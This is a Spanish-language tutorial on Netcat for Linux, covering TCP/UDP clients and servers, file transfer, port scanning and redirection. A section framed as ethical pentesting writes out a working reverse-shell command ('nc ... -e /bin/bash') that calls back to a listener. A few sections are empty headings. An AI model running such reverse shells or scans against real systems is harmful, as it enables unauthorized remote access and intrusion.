Netcat en Linux
¿Qué es Netcat? {#qué-es-netcat}
Netcat (abreviado nc) es una herramienta de línea de comandos usada para:
- Leer y escribir datos en conexiones TCP o UDP.
- Crear clientes y servidores.
- Transferir archivos, hacer escucha de puertos, chats, o incluso backdoors (de forma ética y controlada).
Es conocida como el “cuchillo suizo de las redes”.
Instalación {#instalación}
En la mayoría de sistemas viene preinstalado:
nc -h
Sí no lo tienes:
Linux (Debian/Ubuntu):
sudo apt install netcat
Windows: Puedes usar Ncat (parte de Nmap): https://nmap.org/ncat/
Sintaxis general {#sintaxis-general}
nc [opciones] [host] [puerto]
Modos principales de uso {#modos-principales-de-uso}
Cliente TCP {#cliente-tcp}
Conectarse a un servidor:
nc 127.0.0.1 8080
Esto abre una conexión al puerto 8080 del localhost.
Servidor TCP {#servidor-tcp}
Escuchar conexiones:
nc -l -p 8080
-l → modo escucha
-p → especifica el puerto
Luego, desde otro terminal:
nc 127.0.0.1 8080
Ahora puedes enviar mensajes entre ambos terminales (chat simple).
UDP en lugar de TCP {#udp-en-lugar-de-tcp}
Para usar UDP en vez de TCP:
# Servidor
nc -u -l -p 6000
# Cliente
nc -u 127.0.0.1 6000
-u → activa modo UDP.
Transferencia de archivos {#transferencia-de-archivos}
Enviar un archivo {#enviar-un-archivo}
Servidor que recibirá:
nc -l -p 5000 > archivo_recibido.txt
Cliente que envía:
nc 127.0.0.1 5000 < archivo.txt
El archivo archivo.txt se envía al servidor.
Chat simple entre dos PCs (TCP) {#chat-simple-entre-dos-pcs-tcp}
En una máquina:
nc -l -p 4000
En otra:
nc IP_DEL_SERVIDOR 4000
Ahora ambos pueden escribir y leer mensajes.
Escaneo de puertos {#escaneo-de-puertos}
Netcat puede escanear qué puertos están abiertos en una máquina:
nc -zv 192.168.1.10 20-80
-z → modo “scan” sin enviar datos.
-v → modo verbose (muestra resultado).
20-80 → rango de puertos.
Redirección de entrada/salida {#redirección-de-entradasalida}
Puedes usar pipes para automatizar tareas:
echo "Hola servidor" | nc 127.0.0.1 8080
O guardar la respuesta:
nc 127.0.0.1 80 respuesta.txt
Reverse Shells (usos éticos y educativos) {#reverse-shells-usos-éticos-y-educativos}
Netcat puede crear conexiones remotas tipo shell inversa, usadas en pentesting (no ilegalmente).
En el servidor (escuchando) {#en-el-servidor-escuchando}
nc -l -p 4444 -v
En la víctima (simulada) {#en-la-víctima-simulada}
nc 192.168.1.100 4444 -e /bin/bash
Esto le da al servidor una consola remota de la otra máquina. (Solo en entornos controlados o de práctica legal.)
Otras opciones útiles {#otras-opciones-útiles}
Ejemplo práctico completo {#ejemplo-práctico-completo}
Crear servidor de eco {#crear-servidor-de-eco}
# Servidor
nc -l -p 1234 -v
Cliente {#cliente}
nc 127.0.0.1 1234
Ahora cualquier texto que envíes se reflejará entre ambos.
Resumen rápido {#resumen-rápido}
Alternativas modernas {#alternativas-modernas}
- Ncat (de Nmap): versión más segura y moderna.
- Socat: similar pero con más opciones.
- PowerCat (en Windows PowerShell): equivalente en sistemas modernos.